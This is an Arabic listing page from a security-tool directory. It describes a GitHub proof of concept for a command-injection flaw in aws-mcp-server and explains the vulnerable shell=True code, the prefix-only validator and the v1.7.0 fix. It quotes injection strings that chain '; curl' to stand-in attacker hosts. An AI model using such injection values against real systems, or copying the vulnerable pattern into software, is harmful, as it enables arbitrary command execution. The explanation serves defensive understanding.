Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/venom203020/cve-2026-5059-poc
التحليل الثابتتحليل الثغرات الأمنيةتحليل الكودالاستغلالأمن الويب
GitHubvenom203020/cve-2026-5059-poc

CVE-2026-5059-poc

إثبات مفهوم يوضح حقن الأوامر في aws-mcp-server عبر shell=True، مع تحليل للكود القابل للاستغلال والإصلاح في الإصدار v1.7.0.

عرض المستودع
منذ 4 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

أين CVE-2026-5059 في الكود؟ الثغرة موجودة في ملفين يعملان معًا:

الملف 1: tools.py — السبب الجذري النسخة القديمة استخدمت shell=True في execute_piped_command(): python# OLD VULNERABLE CODE process = subprocess.run( command, # ← raw string passed to shell shell=True, # ← THIS is the problem ... ) عند استخدام shell=True، تقوم شل نظام التشغيل بتفسير السلسلة الكاملة بما في ذلك ; و && و || وعلامات الاقتباس الخلفية — لذا أي شيء بعد ; يعمل كأمر منفصل.

الملف 2: security.py — الحارس غير المكتمل المدقق تحقق فقط من أن الأمر يبدأ بـ aws: python# OLD VULNERABLE CODE def validate_pipe_command(command: str): if not command.strip().startswith("aws"): raise ValueError("Must start with aws") # ← stops here, no check on what comes after the pipe لذا aws s3 ls ; curl http://attacker.com اجتاز التحقق — يبدأ بـ aws — ثم نفّذ shell=True كلا الجزأين.

لماذا الإصدار الحالي (v1.7.0) مختلف بالنظر إلى الكود الفعلي اليوم، كلتا المشكلتين قد اختفتا: python# CURRENT CODE in cli_executor.py cmd_parts = shlex.split(command) # splits into a list subprocess.run(cmd_parts, shell=False) # list-based, no shell interpretation وتم حذف security.py بالكامل — واستُبدل بالعزل الرملي لنظام التشغيل (Landlock/bwrap/Seatbelt). أصبح ; الآن غير ضار: "aws s3 ls ; curl http://evil.com" → shlex.split → ['aws', 's3', 'ls', ';', 'curl', 'http://evil.com'] → subprocess يستقبل ';' كوسيط حرفي لـ aws → يتجاهله AWS CLI، ولا يتم تنفيذ أي أمر ثانٍ

الملخص في سطر واحد الإصدار الضعيفالإصدار الحالي v1.7.0التنفيذshell=True + سلسلة نصيةshell=False + قائمةالتحققstartswith("aws") فقطعزل رملي على مستوى نظام التشغيل؛ معالجة؛يُنفَّذ بواسطة الشليُعامَل كنص حرفي تم تقديم CVE ضد النسخة القديمة. نشرته ZDI كثغرة يوم الصفر (0-day) لأن البائع رفض التقرير — لكن البنية المعمارية كانت قد انتقلت بالفعل بعيدًا عن shell=True قبل نشر CVE.

تنزيل الأداة